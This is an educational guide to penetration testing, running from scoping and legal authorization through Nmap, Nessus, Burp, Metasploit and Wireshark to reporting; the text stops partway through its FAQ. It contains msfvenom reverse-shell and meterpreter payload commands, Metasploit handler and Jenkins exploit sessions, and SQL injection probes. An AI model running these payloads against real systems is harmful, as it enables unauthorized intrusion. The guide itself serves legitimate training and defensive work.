Penetration Testing Mastery: Nmap to Burp to Reporting
Penetration testing is a craft, not a checklist. You combine reconnaissance, analytical thinking, and technical execution to measure how real adversaries could compromise a system. The tools matter, but the value comes from your workflow, the evidence you collect, and how convincingly you translate risk into remediation. This guide gives you the senior tester’s path from Nmap to Burp Suite to Metasploit, from first scoping call to final report that leadership acts on.
You will learn the engagement lifecycle in depth, including planning, legal boundaries, and methodology for network, web, and modern targets. You will see where Nessus and Wireshark fit, how to structure tests to be repeatable, and where to be cautious. Throughout, you will find step by step walkthroughs, realistic examples, and the habits that keep your work both effective and defensible.
Penetration testing in context: where it fits and what it proves
Penetration testing, or pen testing, is a controlled offensive exercise that simulates real attack techniques to evaluate the effectiveness of security controls. It does not replace a comprehensive security program, it measures the gap between design and reality. You test the exposure that results from misconfigurations, vulnerable code, default credentials, weak authentication flows, and flawed network segmentation. You aim to show credible attack paths, prove exploitability with minimal impact, and help the organization prioritize fixes.
You should position pen testing alongside risk assessment, vulnerability management, monitoring, and incident response. A mature program practices continuous hardening and validation, where each test informs preventive and detective controls. If your stakeholders need an overview of these disciplines, direct them to the cybersecurity learning hub to understand how pen testing connects with governance, identity, and operations. When you test authentication, data flows, and segmentation you are also validating how well the organization can move toward zero trust architectures.
Expectations matter. A pen test is inherently scoped, time boxed, and evidence driven, so you emphasize depth over breadth in the areas most likely to be attacked. Tuning your approach to business impact is critical. For a customer-facing application, you will emphasize account takeover, data exfiltration, and fraud potential. For a sensitive network, you will emphasize segmentation, credential hygiene, and lateral movement resistance, which ties closely to the principles explained in the network security fundamentals guide.
It is useful to be explicit about what a pen test does not do. It will not find every vulnerability on a network, and it is not a stamp of approval or compliance certification. It is not a substitute for secure SDLC, code review, or full threat hunting. When a stakeholder asks for a pen test to meet an audit requirement, you can still run a great test, but you should align timing and focus with development cycles and fix windows. The outcome is a prioritized set of findings with proof, impact analysis, and concrete next steps.
Rules of engagement and legal boundaries you cannot skip
Before you touch a target, get unambiguous written authorization that covers you, your team, and any tools you plan to use. The rules of engagement should define scope, testing windows, out of scope systems, data handling, credentials provided, third party approvals, and communications. It should also state approved attack types and disallowed techniques, such as social engineering or denial of service. If shared hosting or multi tenant cloud services are in play, you must coordinate with the provider and confirm any additional requirements or blacklisted IP ranges.
Treat safety as non negotiable. Rate limit aggressive scans, especially UDP and application fuzzing, to protect fragile devices like printers, medical equipment, ICS components, or legacy systems. Establish a rollback plan for any change you make during authenticated tests, and require checkpoints before executing risky exploitation. Ask for a direct point of contact who can authorize stop work if a production impact appears. The fastest way to lose trust is to cause an outage, then scramble to explain what tool did it.
Make evidence handling part of the engagement contract. Define what data you will collect, how it will be stored, encrypted, and shared, and how long you will retain it. If you will access personal data or regulated information, get explicit consent and set tight boundaries for viewing, copying, and redaction in your report. Create a clean up plan so credentials, backdoors, and logs you created are removed and artifacts like payloads are destroyed. Capture the client’s preference for red-team like stealth versus cooperative transparency that enables more thorough testing in limited time.
Here is a sample, minimal pre engagement scope excerpt you can adapt as a sanity check during kickoff:
Scope:
- In scope: webapp.example.com, api.example.com, 10.10.10.0/24, VPN portal
- Out of scope: payment processor endpoints, shared SaaS CRM, prod database cluster
Time window:
- GMT 00:00-06:00 weekdays, 24 hours on Saturday
Disallowed:
- Denial of service, phishing, physical access, ransomware simulation
Data handling:
- Encrypt at rest with client PGP key
- Retention 30 days after remediation verification
Point of contact:
- Security lead + on-call SRE, phone and secure chat channels
If your team is new to this level of rigor, align with internal training and practices that build good habits over time. Many professionals find it helpful to combine structured learning with live projects. For a supported path that blends both, evaluate the study and internship cyber security program, where you can practice rules of engagement end to end in realistic scenarios with coaching.
Planning, scoping, and threat modeling before a single packet
Good pen tests begin with a crisp threat model. You identify what matters most, who might attack, what they want, and how they could plausibly get it. Map business processes to technical assets, then trace data flows and trust boundaries. Document assumed attacker capabilities from opportunistic profit seekers to moderately resourced actors. If the organization aligns with zero trust, test how identity, device posture, and micro segmentation reduce reachable attack paths.
Convert the model into testable hypotheses. If customer PII sits behind a web API, you hypothesize injection points, broken access controls, IDOR, and token handling flaws. If the domain controllers sit behind a firewall but speak to management networks, you hypothesize lateral movement via misconfigured admin shares or weak service accounts. Tie each hypothesis to a method, a tool, and a stop condition that defines success and limits risk. This yields a prioritized checklist you can execute while staying adaptive.
Scope like a consultant, execute like an engineer. Break the work into milestones that align with the timebox, and choose targets for deeper investigation that are likely to pay off. Use a mixture of broad sweeps to find potential entry points, then narrow probes on likely weaknesses. Track every lead in your notes with a status tag, impact potential, and next step. When time runs short, you will be glad you can sort by impact and probability to focus on the most meaningful findings.
It is often useful to categorize your test surfaces across network, web, identity, and third party services. This helps you route work to team members with the right skills and avoids duplication. It also aligns with educational paths you or your client may follow. For example, the web application security guide is a logical companion for planning a deep application layer assessment, while network security fundamentals supports segmentation and firewall validation efforts.
Reconnaissance: passive first, then surgical active probing
Reconnaissance reveals the attack surface and context that turns a noisy scan into a surgical test. Start passive, because it is safer and less detectable. Collect domain records with DNS queries, find subdomains through certificate transparency logs, enumerate public IP ranges from company filings and ASNs, and review job postings and engineering blogs for tech stacks. Scan code repositories and public package managers for company namespaces, because leaked tokens and misconfigured automation often hide there. Build a target map that lists hostnames, IPs, application names, technologies, and potential entry points.
Move carefully into active recon when you understand the landscape. Use resolvers to confirm DNS records, query TLS endpoints to gather certificate chains and supported ciphers, and fetch headers to fingerprint servers. Lightly probe application routes to see authentication flows, session lifetimes, and error handling. For APIs, enumerate endpoints through swagger files or by observing JavaScript bundles and mobile app traffic. If you plan API tests, keep your scope aligned to production safety and test data guidelines from the rules of engagement.
A small e commerce example clarifies the flow. Suppose you observe store.example.com, api.example.com, and a static CDN front for images. Passive recon finds beta.store.example.com through a certificate entry and staging assets referenced in a JavaScript bundle. A robots.txt file reveals an administrative path hint. You now hypothesize that the beta environment mirrors production auth logic with weaker controls. You will validate with careful active probing and session handling, not with blind fuzzing.
Never discard failed leads without recording them. Your notes are your memory, and they give you a way to explain why you focused where you did. They also help you collaborate, because a teammate may spot a connection you missed. Good recon sharpens every subsequent step, from Nmap targeting to Burp scoping. It also reduces risk, because you are less likely to blast a whole IP range with heavy scans when you know exactly which three hosts matter.
Network discovery and scanning with Nmap, without tripping alarms
Nmap is the backbone of network discovery, but you must use it deliberately. Split your work into host discovery, port scanning, service detection, and deeper scripts, and tune speed and stealth to the environment. Do a light ping sweep first, but be ready to fall back to no ping if ICMP is blocked. On sensitive networks, start with a handful of common TCP ports at a conservative timing template. Once you understand firewall behavior, you can widen the scan.
Here are foundational commands you will use repeatedly:
# Host discovery with ping and ARP
nmap -sn 10.10.10.0/24
# Full connect TCP scan when SYN scan is not viable
nmap -sT -p- -T3 10.10.10.5
# Stealth SYN scan of top 1000 ports with version detection
nmap -sS -sV 10.10.10.5
# UDP scan for top ports, be cautious and patient
nmap -sU --top-ports 100 -T2 10.10.10.5
# Aggressive scan with OS and script detection, only after validating stability
nmap -A -T3 10.10.10.5
# Save output in all formats for later parsing
nmap -sS -sV -oA scans/web01 10.10.10.5
Use Nmap scripts to accelerate checks, but do not let them replace judgment. For example, run http-title, ssl-enum-ciphers, and smb-enum-shares to gather context in one pass. If you suspect a known CVE, a targeted NSE script might hint at exposure, but confirm manually or with a controlled exploit. Avoid scripts that create heavy load until off hours, and always run with explicit ports and safe timing. Arrange your output by host and date so you can track changes and support retests.
A quick reference table helps you recall when to use which scan:
| Goal | Nmap option | Typical use case | Notes |
|---|---|---|---|
| Host discovery | -sn | Identify live hosts on a subnet | Uses ICMP and ARP, blocked on some networks |
| Stealth TCP scan | -sS | Find open TCP ports without full handshake | Requires privileges, watch IDS thresholds |
| Full connect TCP | -sT | Scans from restricted environments | Easier to detect, reliable on odd stacks |
| UDP scan | -sU | Discover services like DNS, SNMP, NTP | Slow, high false negatives, rate limit |
| Version detection | -sV | Fingerprint service versions and banners | Useful for CVE triage, verify manually |
| OS detection | -O | Estimate host OS | Can misclassify under NAT or load balancers |
| Aggressive scan | -A | Combined service, OS, and script detection | Use cautiously on production |
| No ping | -Pn | Scan hosts that drop ICMP | Increases false positives if host is down |
| Speed tuning | -T1..-T5 | Balance speed and stealth | T3 is a good default for production tests |
Interpretation is as important as execution. Closed versus filtered ports tell you about firewall policy and potential for future reachability changes. Unusual high ports open with TLS may indicate custom services or management interfaces worth investigating. Service detection lies, especially behind load balancers or proxies, so corroborate with headers, TLS fingerprints, or direct interaction. When your scan yields no obvious path in, pivot to application testing, identity weaknesses, or client side attacks.
Vulnerability scanning with Nessus, then hands-on validation
Nessus and similar scanners excel at breadth and known issue detection, particularly when you supply credentials for authenticated checks. Use them to cover routine misconfigurations, outdated software, missing patches, and weak cryptography. Configure policies specific to your environment, for example, disabling dangerous checks in production or targeting only the ports you discovered with Nmap. If you can get read-only credentials, authenticated scans will bypass a lot of guesswork and reduce false positives.
Your job is to triage and validate, not to dump a long scanner list into a report. Sort findings by impact potential and exploitability, then test a representative sample in each category. For example, if Nessus flags multiple web servers with the same outdated OpenSSL version, validate one thoroughly by confirming supported ciphers, renegotiation behavior, and an actual exploit path. If authentication failures or remote checks limit accuracy, supplement with targeted manual testing in Burp or with command line tools.
A productive workflow is to import Nmap discoveries into your Nessus targets, run a fast unauthenticated sweep to catch low hanging fruit, then run authenticated scans on systems where you have credentials. Export results in CSV or JSON, and annotate them with your observations during manual validation. Use a risk matrix that factors exploit maturity, exposure, and business criticality to rank what matters. When a scanner flags an issue like weak SMB signing but the server sits behind strict segmentation, you can still report it, but contextualize the real risk and remediation priority.
Do not forget retests. When teams fix scanner identified issues quickly, you can allocate more time to complex or unique weaknesses. Build a simple retest plan that lists the finding, the expected state, and the command or request that proves it. Save before and after evidence. Executives love seeing reductions in high risk issues presented with a clear delta, and engineers appreciate confirmation that their changes worked.
Web application testing with Burp Suite, from proxy to proof
Burp Suite is your browser’s truth serum. Configure your browser to proxy HTTP and HTTPS traffic through Burp, install the Burp certificate for TLS interception in a safe testing environment, then set Burp’s target scope tightly so you do not capture or attack out of scope systems. Use Intercept to observe login flows, cookies, headers, and CSRF tokens in flight. Send key requests to Repeater for controlled replay, and to Intruder for parameterized fuzzing where allowed by the rules of engagement.
Start with mapping and logic testing. Browse the application like a normal user to build the Site map and itemize functionality. Look for role boundaries, multi step transactions, and parameter dependencies. In Repeater, toggle methods, drop headers, and tweak token lifecycles to test for broken access control, CSRF protection gaps, and inconsistent server side validation. Often, a single missing authorization check on a JSON endpoint enables IDOR, letting you access or modify resources belonging to other users.
Use Burp’s built-in Scanner judiciously. It accelerates detection of common injection points and misconfigurations, but you need to tune it to avoid noise and avoid dangerous checks on production. Craft targeted Intruder attacks with custom payloads for filters or WAF bypass tests, respecting rate limits and safety. When testing SQL injection safely, start with time based or boolean payloads that do not dump data, for example:
# Boolean based test on numeric parameter
id=10 AND 1=1
# Time delay to confirm injection without data exfiltration
id=10 AND SLEEP(2)
Session handling and macros are underused superpowers. If the application uses CSRF tokens or rotating anti automation measures, configure Burp to fetch fresh tokens or re authenticate automatically before each test request. This makes your testing repeatable and faster. For APIs, use Burp to import OpenAPI specifications if available, and test authentication like OAuth token scopes and expiration paths exhaustively. When you validate web findings, align with the patterns and countermeasures described in the web application security guide and relate back to identity and segmentation controls in zero trust architectures.
Document application issues at two levels. First, proof of vulnerability with clear steps and requests in Repeater that any developer can follow. Second, business impact in the narrative, for example, how IDOR allows downloading invoices for any customer or how a file upload bypass leads to remote code execution. The best findings make it obvious what to fix and why it matters.
Metasploit and custom exploitation, when you must prove impact
Metasploit accelerates exploitation when a path is clear and the risk is acceptable. Use it to validate known CVEs, misconfigurations, and credentials, especially in lab or staging systems first. The framework’s module structure and staging payloads simplify exploit development and post exploitation tasks. That said, treat Metasploit as a scalpel, not a hammer. Do not fire modules blindly at production targets. Pick the smallest payload that proves the point, and stop at execution without dropping persistent agents unless explicitly authorized.
Here is a minimal Metasploit flow to validate a known vulnerability:
msfconsole
msf6 > search type:exploit cve:2019 name:unauth
msf6 > use exploit/linux/http/some_module
msf6 exploit(some_module) > set RHOSTS 10.10.10.5
msf6 exploit(some_module) > set RPORT 8080
msf6 exploit(some_module) > set TARGETURI /vulnerable
msf6 exploit(some_module) > set PAYLOAD linux/x64/shell_reverse_tcp
msf6 exploit(some_module) > set LHOST 10.10.10.100
msf6 exploit(some_module) > run
Generate payloads with msfvenom when you need to craft a controlled binary or script for a proof of concept:
# 64-bit Linux reverse shell ELF
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.10.100 LPORT=4444 -f elf -o rev.elf
# Windows staged meterpreter, only in authorized lab
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=10.10.10.100 LPORT=443 -f exe -o rev.exe
When there is no ready module, write a minimal exploit in Python or Go. Start from a simple request that triggers the bug, then add parameters to make it reliable. Avoid weaponization, you only need enough to prove the risk and enable remediation teams to test their fix. If the exploit would create a persistent state change, work with the client to clone the environment or perform the test in staging. Keep OPSEC in mind, for example, proxy through approved infrastructure, tag your traffic with identifiable headers, and log your actions carefully.
If you find yourself building complex chains to get a shell, step back and ask what you are trying to prove. Does a business logic flaw already enable data access that violates policy? Does an authentication bypass allow account takeover without any code execution? It can be more impactful to show direct business harm with a crisp narrative than to show a meterpreter session that leadership does not understand. Save heavy exploitation for the few times it is required to move a fix forward.
Post-exploitation, privilege escalation, and lateral movement with restraint
Post exploitation validates kill chains, but it is also where tests can cause harm if you rush. Work from a playbook that emphasizes minimal touch and rapid escalation to a point of proof, then stop. For Windows, check local groups, scheduled tasks, services, and registries to find misconfigurations and privilege escalation paths. For Linux, check sudoers, SUID binaries, environment variables, and cron jobs. On both, look for clear text credentials in configuration files, scripts, and history.
Privilege escalation often hinges on a handful of techniques. For Windows, unquoted service paths, weak service permissions, and token impersonation via tools like incognito are common. Credential theft techniques like LSASS scraping are extremely sensitive and may be forbidden, so favor known safe methods like DPAPI master key abuse only in lab or with strict process. For Linux, path hijacking, LD_PRELOAD abuse in misconfigured services, and kernel privilege escalations on old systems are realistic. Any technique that drops files or modifies services must be reverted and documented.
Lateral movement requires you to understand identity and segmentation. If you capture credentials for a service account, test their reach carefully with WinRM, PSExec, or Kerberos constrained delegation checks. On Linux, attempt SSH pivoting only where allowed, and prefer agentless proof like accessing an internal API with a credential you found. When you pivot, be explicit about the path, for example, jump host to database subnet, then database to management network, and be ready to stop if you enter a highly sensitive zone. Your notes should allow the client to reproduce the path easily.
Finally, data handling during post exploitation must be principled. Do not exfiltrate real data unless it is essential to prove impact, and even then collect the smallest possible sample with redaction. Prefer simulated data or metadata proofs, such as counts of accessible records or filenames. Clean up thoroughly, remove created users, keys, scheduled tasks, and artifacts. Post exploitation can be the most exciting part of a pen test, but your restraint is what keeps it professional.
Packet capture and protocol analysis with Wireshark and tcpdump
Wireshark is indispensable when behavior is confusing or when you need to prove a network level flaw. Use tcpdump on remote systems to capture only what you need, then bring pcap files into Wireshark for analysis. Capture filters reduce noise, for example, capturing only TCP port 443 traffic to a specific host. Display filters help you isolate the exact exchange of interest, such as TLS handshakes, HTTP requests, or DNS responses. With care, you can confirm whether a claimed encryption channel actually encrypts the data end to end.
Common display filters you should memorize include:
# HTTP requests and responses
http
# TLS handshake messages
tls.handshake
# DNS queries and answers
dns
# TCP streams to and from a host
ip.addr == 10.10.10.5 && tcp
# Filter out noise, show only server errors
http.response.code >= 500
When you suspect weak TLS, capture the handshake and inspect the cipher suites, key exchange, and certificate chain. For legacy protocols like SMB1 or FTP, do a short capture during a benign transaction to show credentials in clear text or downgrade behavior. In lab settings, you can decrypt TLS by capturing session keys from the client browser, but never do this on production user traffic unless the client explicitly authorizes it for their own accounts. The goal is to produce evidence screenshots and packet excerpts that are self contained and convincing.
Wireshark also helps with timing and retransmission analysis. If you see a service behaving erratically under test, capture a sequence to reveal whether a middlebox is dropping packets, resetting connections, or rate limiting in a way that affects your results. Align the timestamps with your tool logs, such as Nmap’s connection attempts or Burp’s requests, to build a timeline. This is the difference between a vague claim and a precise diagnosis that operations teams can act on.
Wireless, cloud, and container targets that require adapted tactics
Wireless testing introduces specific legal and safety concerns. You must isolate your tests to client approved SSIDs and channels, and never interfere with neighboring networks. Passive surveys that collect beacon frames and probe requests are safer and often sufficient to map the environment. When testing auth mechanisms like WPA2 Enterprise, coordinate with identity teams to use test accounts and staged EAP configurations. Avoid deauthentication and jamming unless explicitly approved in a lab with no production users.
Cloud penetration testing is a different shape, because shared responsibility and provider policies constrain what you can do. Focus on identity, configuration, and data exposure. Enumerate IAM roles and policies, test trust relationships between accounts, and look for public buckets, exposed management interfaces, or serverless functions with overbroad privileges. Use provider logs and cloud native tools to validate actions and avoid noisy network scans against managed services. For a strong grounding in how cloud architecture affects tests, see the cloud security fundamentals guide and plan tests that respect provider rules.
Containers and orchestration platforms like Kubernetes demand cluster aware thinking. You test for container breakout risk, exposed dashboards, insecure node metadata access, and misconfigured RBAC policies. If you get a shell in a container, check whether it runs as root, whether the filesystem is read only, and whether you can access the Docker socket or host mounts. On Kubernetes, check service accounts, secrets mounted in pods, and overly permissive PodSecurity or admission policies. Always align with the platform team so your checks do not disrupt scheduling or cluster stability.
Across these modern targets, identity often beats pure network attack paths. Testing SSO flows, token audiences, and trust boundaries yields meaningful findings with less risk. Your pen test mindset adapts, but your core principles stay the same: plan, scope, test precisely, and collect evidence that accelerates fixes.
Notes, evidence, and data handling that make your work defensible
Treat your notes as part of the deliverable. Use a consistent system that timestamps actions, records commands, captures response snippets, and ties each observation to a host or application entity. Screenshots are valuable, but pair them with text that describes what the image shows and why it matters. Store pcaps, tool outputs, and artifacts in a structured directory per target, with hashes to ensure integrity where appropriate. Encrypt everything at rest, and avoid mixing client data with your internal repositories.
Chain of custody applies even in a cooperative pen test. If you handle credentials or sensitive data, record how you received them, where you stored them, and when you destroyed them. Use separate vaults for secrets provided by the client and those you discovered during testing. Limit access on a need to know basis within your team. If the engagement requires collecting PII or regulated data for proof, redact or mask it in the report and deliver raw evidence through a secure channel that complies with the client’s policies.
Create templates for common artifacts so you do not reinvent the wheel. For example, a finding template with fields for title, affected assets, severity, description, impact, evidence, reproduction steps, and remediation guidance. A network scan template logs commands, timing, and interpretation in a consistent way. A web test template captures session handling, endpoint coverage, and fuzzing boundaries. These templates increase consistency and fast track peer review.
Finally, manage work in progress like a mini project. Maintain a task board with leads, next actions, blockers, and done items. Embed links to evidence directories and notes for each item. At the end of each day, write a short journal of what you tried, what you learned, and what you will do next. This habit keeps the team aligned and makes it simple to brief the client during check ins.
Reporting that drives remediation, from executive summary to retest
The report is the product. It must speak to executives and engineers at the same time, without fluff or ambiguity. Lead with an executive summary that states the overall risk posture in plain language, highlights the highest impact findings, and explains business implications. Follow with a concise methodology section that lists the scope, constraints, and high level tools and techniques. Then present findings in order of severity, each with context, evidence, and clear remediation guidance.
A strong finding uses a repeatable structure. Here is a sample you can adapt:
Title: Broken access control enables cross-account invoice download
Severity: High
Affected assets: api.example.com, /v1/invoices/{id}
Description:
The invoice retrieval endpoint authorizes access based on a user-supplied account_id parameter.
Users can modify the parameter to access invoices belonging to other accounts without server-side enforcement.
Impact:
Attackers can retrieve invoices for any customer, exposing PII and billing data.
Evidence:
Request:
GET /v1/invoices/123?account_id=999 HTTP/1.1
Authorization: Bearer <token_for_account_111>
Response:
200 OK
{... invoice details for account 999 ...}
Reproduction:
1. Authenticate as any customer using valid credentials.
2. Request invoice 123 with account_id of another account.
3. Observe successful retrieval.
Remediation:
Enforce authorization based on the authenticated principal's account association on the server.
Remove reliance on user-supplied account_id for authorization decisions.
Map technical fixes to strategic controls. For network segmentation issues, point stakeholders to the practices in the network security fundamentals guide. For application flaws, reference defensive patterns described in the web application security guide. If identity design is the source of risk, relate remediation to principles from zero trust architectures. This helps teams connect tactical fixes to longer term improvements.
Close with a remediation plan and retest approach. Provide a prioritized list of actions with owners if possible, an estimated level of effort, and quick wins that can reduce exposure immediately. Offer a retest window and describe how you will validate changes, including the minimal commands or requests. If the client is building internal capacity, encourage them to review foundational learning material at the cybersecurity learning hub and to consider structured development paths aligned with their roles.
A realistic end-to-end example workflow
To illustrate the flow, consider a short scenario. Your client operates an online marketplace with a web front end, a REST API, and a corporate network that hosts build servers and an internal admin portal. Scope includes store.example.com, api.example.com, and 10.10.20.0/24, with no social engineering or denial of service. The goal is to evaluate customer data exposure and resilience to lateral movement from a compromised workstation.
You begin with passive recon, finding staging-store.example.com in certificates and an unlinked admin subpath in robots.txt. Active probing shows the staging site uses weaker CSP and a debug endpoint that prints stack traces. In parallel, you run Nmap on 10.10.20.0/24 with a conservative template and identify a build server with SSH and Jenkins listening on nonstandard ports. Nessus confirms SSL findings on staging and flags Jenkins with a critical CVE and default credentials risk.
Using Burp on staging, you validate that a file upload accepts ZIP files, extracts them, and serves content, which opens a path to path traversal. You prove reading a harmless server file and stop. On the network side, you attempt to authenticate to Jenkins with weak defaults and fail safely. You then use Nmap version detection to verify a vulnerable plugin signature, and you present a chained path that could lead to code execution if credentials are weak. You do not execute the exploit on production, but you provide a lab proof and detailed remediation steps.
Post exploitation in this scenario stays theoretical by design, but you still test session handling and token rotation on the API to ensure that leaked tokens from staging cannot be used in production. You confirm that production tokens are audience bound and reject staging origins, which is a positive control worth noting in the report. You tie findings to practical fixes like hardening staging, enforcing strict separation, patching Jenkins, and rotating credentials, and you close with a retest plan.
A practical tools map: where each tool shines
A quick tool alignment table helps frame your plan and explain it to stakeholders:
| Tool | Primary focus | Typical tasks | When to use it |
|---|---|---|---|
| Nmap | Network discovery and scanning | Host discovery, port scanning, service detection | Early scoping, verifying exposure, change tracking |
| Nessus | Vulnerability assessment | Authenticated checks, CVE coverage, misconfig | Breadth-first triage, routine hygiene, patch validation |
| Burp Suite | Web and API analysis | Proxying, mapping, fuzzing, automation | Application testing, auth and logic checks |
| Metasploit | Exploitation framework | Known exploits, payloads, post modules | Controlled proof of exploitability in safe conditions |
| Wireshark | Protocol analysis | Packet capture, TLS analysis, timing | Explaining odd behavior, proving plaintext or leaks |
This is not an exhaustive list. You will also use command line utilities, scripting languages, and platform specific tools. The lesson is to choose the right tool for the job and to combine them into a workflow that emphasizes safety, signal, and speed. Let each tool answer a question, then move on.
Building a lab, practicing skills, and mapping a career path
A home or team lab is your practice ground. Use a hypervisor like VirtualBox or a lightweight cloud account to spin up isolated networks. Start with a few Linux and Windows VMs, a vulnerable web app intentionally designed for learning, and a jump box where you install your tools. Connect them with simple routing rules so you can practice discovery, exploitation, and cleanup without risk. Keep a journal of experiments and replicate your pen test playbook end to end.
Design practice scenarios around realistic objectives. For example: find and exploit an injection to exfiltrate a harmless test record, or escalate privileges on a misconfigured Linux box and laterally move to a second host. Practice evidence collection and reporting as if you were working with a client. Time box your practice runs to simulate the pressure and choices you will face in real engagements. Retest your own fixes to build empathy for remediation teams.
As you progress, broaden to cloud, containers, and identity. Build a small Kubernetes cluster in your lab, deploy a simple app, and explore RBAC misconfigurations safely. Set up an SSO flow with an open source identity provider and test token handling. Review vendor docs and security guidelines, then emulate misconfigurations you see in the field. Use the cloud security fundamentals guide to plan and validate cloud scenarios, and tie your practice back to principles in zero trust architectures.
Certifications can help structure your learning and signal your skills. Plan a path that aligns with your goals and foundation. If you are starting out, build fundamental knowledge and then attempt hands-on exams that emphasize practical skills. Consult the cybersecurity certifications guide to choose certifications that fit your stage and interests. For broader career planning and role definitions beyond pure pen testing, the cyber career guide can help you map opportunities in red, blue, and purple team roles.
If you prefer guided learning with mentorship and real projects, consider a structured program that blends study with practice. The study and internship cyber security program is designed for learners who want to accelerate from fundamentals to applied testing under supervision. Programs like this can shorten the feedback loop, expose you to professional workflows, and help you build portfolio evidence for employers.
Command cookbook: Nmap, Burp, Metasploit, Nessus, Wireshark
This section collects concise commands and configurations you will use often. Use them as starting points and adapt to your scope and safety requirements.
Nmap essentials
# Top 100 ports fast scan
nmap --top-ports 100 -T4 192.168.1.0/24
# Full TCP and selected UDP with service and OS detection, cautious timing
nmap -sS -sU -sV -O -p T:1-65535,U:53,123,161 -T2 192.168.1.10
# Scripted HTTP enumeration
nmap -p80,443 --script http-title,http-methods,http-headers,ssl-enum-ciphers 10.0.0.5
# Greppable output for quick parsing
nmap -sS -oG scan.gnmap 10.0.0.0/24 | grep "/open/"
Burp Suite quick setup and usage tips
- Proxy: set your browser to 127.0.0.1:8080, import Burp CA cert into the browser’s trust store in a test profile.
- Scope: add only in scope hosts to Target Scope, enable Live audit only for in scope.
- Intercept: turn off when browsing normally, turn on when testing specific flows.
- Repeater: use named tabs and comments to document test cases.
- Intruder: choose positions carefully, throttle requests, respect rate limits.
Example Repeater request to test access control:
GET /api/v1/orders/456 HTTP/1.1
Host: api.example.com
Authorization: Bearer eyJhbGciOi...
Origin: https://app.example.com
Change order ID and token, observe responses, and verify that server side authorization enforces ownership.
Metasploit workflow snippets
# Start and configure a handler for a reverse shell
msfconsole
msf6 > use exploit/multi/handler
msf6 exploit(handler) > set PAYLOAD linux/x64/shell_reverse_tcp
msf6 exploit(handler) > set LHOST 10.10.10.100
msf6 exploit(handler) > set LPORT 4444
msf6 exploit(handler) > run -j
# Search and use a specific module
msf6 > search cve:2021 name:jenkins
msf6 > use exploit/multi/http/jenkins_script_console
msf6 exploit(...) > set RHOSTS 10.10.20.15
msf6 exploit(...) > run
Nessus usage reminders
- Policies: create separate policies for unauthenticated and authenticated scans, disable disruptive plugins in production.
- Credentials: use least privilege read-only accounts for OS and application checks.
- Targeting: import hosts from Nmap results to avoid scanning unnecessary ranges.
- Triage: export CSV, sort by severity and plugin family, validate manually.
Wireshark and tcpdump
# Capture to a file with a filter on a remote host
sudo tcpdump -i eth0 -w /tmp/capture.pcap host 10.10.10.5 and port 443
# Display filter examples in Wireshark
http.request.method == "POST"
tls.handshake.type == 1 # ClientHello
ip.addr == 10.10.10.5 && tcp.port == 22
These commands are the skeleton. Always run them within the bounds of your rules of engagement and with awareness of the environment you are in.
Integrating pen tests with network and application hardening
Pen tests are most valuable when they feed directly into hardening cycles. For network issues, work with teams to adjust firewall rules, enforce least privilege on service accounts, and segment administrative interfaces away from user subnets. Use your Nmap and Wireshark evidence to verify that changes achieved the desired effect, for example, previously reachable management ports now blocked from user VLANs. Tie these improvements to the practices outlined in network security fundamentals.
For application fixes, collaborate with development to add server side authorization checks, parameterize queries, sanitize file uploads, and enforce strict content security policies. Work alongside QA to write regression tests that reproduce your proof of concept. Use Burp’s Repeater as a harness for developers to validate their fixes locally, then run a contained retest in staging. Where appropriate, relate remediation patterns back to concepts in the web application security guide.
Identity and access management cuts across both domains. Encourage teams to align with principles described in zero trust architectures, such as strong device identity, continuous evaluation, and minimizing implicit trust. Your pen test findings around token handling, session management, and overprivileged roles make a compelling case for these changes. Feed your results into backlog items with clear acceptance criteria so teams can track progress.
Finally, institutionalize learning. Share debriefs with concrete stories and data, not just lists of issues. Point stakeholders to foundational resources like the cybersecurity learning hub so they can build shared vocabulary and expectations. Celebrate fixes that close entire classes of issues, not just single bugs. Over time, pen tests become confirmation of good practice rather than a source of surprises.
Edge cases and anti-patterns that waste time or create risk
Beware of noisy scans without context. Running -A on every host in a large range during business hours can trigger alerts, slow services, and erode trust. Instead, combine focused Nmap scanning with endpoint knowledge from recon and interviews. Another anti pattern is to rely entirely on scanners like Nessus without manual validation. This leads to bloated reports and disengaged engineering teams who cannot reproduce issues.
Avoid overfitting to tools. If you only know one way to test a web app because you always follow the same Burp workflow, you will miss business logic flaws. Mix exploratory testing with structured coverage. Similarly, do not focus on shell access as the only measure of success. Many impactful findings involve data access without code execution. Let the threat model guide your goals, not tool output.
Watch for confirmation bias. If you expect a certain vulnerability, you will tend to see it. Build habits that force you to disconfirm your hypotheses, for example, test that an endpoint is not vulnerable by attempting a negative case. Peer review helps. Share your notes and evidence with a teammate who can challenge your interpretation. This reduces mistakes, increases learning, and improves report quality.
Lastly, never compromise ethics for a better story. Do not access out of scope data, do not lie about results, and do not take shortcuts with data handling. If a client pushes for risky actions without proper authorization, pause and escalate. Your professionalism is your most important asset, and there is always another engagement, but only one reputation.
Connecting pen testing to roles and learning paths
Individuals and teams grow faster with a plan. If you are new to pen testing, build a foundation in networking, operating systems, and application architectures. Practice with safe, intentionally vulnerable targets, and aim for certifications that validate hands-on skill, not just memorization. The cyber career guide outlines roles and skills you can aim for, from junior tester to red team operator.
Choose certifications that fit your goals and timeline. Some focus on methodology and reporting, others on exploitation depth. The cybersecurity certifications guide compares options so you can plan a credible path. Pair certification goals with real projects and mentorship. Review your own reports against public examples and seek feedback from experienced practitioners.
If you want a structured path that combines study with real practice, evaluate programs that include mentorship, labs, and internships. The study and internship cyber security program is one way to accelerate with guided hands-on work. It can also help you build a portfolio of evidence, from lab reports to client safe redacted findings, that resonates with hiring managers.
Remember that pen testing does not exist in a vacuum. Cross train with defenders, read incident reports, and learn how detection and response teams work. The best testers understand how controls fail and how blue teams detect and contain attacks. This empathy makes your findings more actionable and your recommendations more effective.
FAQ
Q: What is the difference between vulnerability scanning and penetration testing?
A: Vulnerability scanning is an automated process to identify known issues like missing patches and misconfigurations across many systems. It is breadth oriented and produces a list of potential problems. Penetration testing is a human led exercise that simulates real attacks to prove exploitability, chain weaknesses, and assess business impact. The two complement each other, and a good pen test uses scanner output as input, then validates and prioritizes manually.
Q: How do I avoid causing outages during a pen test?
A: Start with passive recon, then use conservative active scans with rate limits and small port sets. Schedule more aggressive scans or fuzzing during approved maintenance windows. Exclude fragile systems and coordinate with owners before any risky action. Always have a stop work protocol and a rollback plan. Document what you will run and when, and get explicit approval.
Q: When should I use Metasploit versus writing a custom exploit?
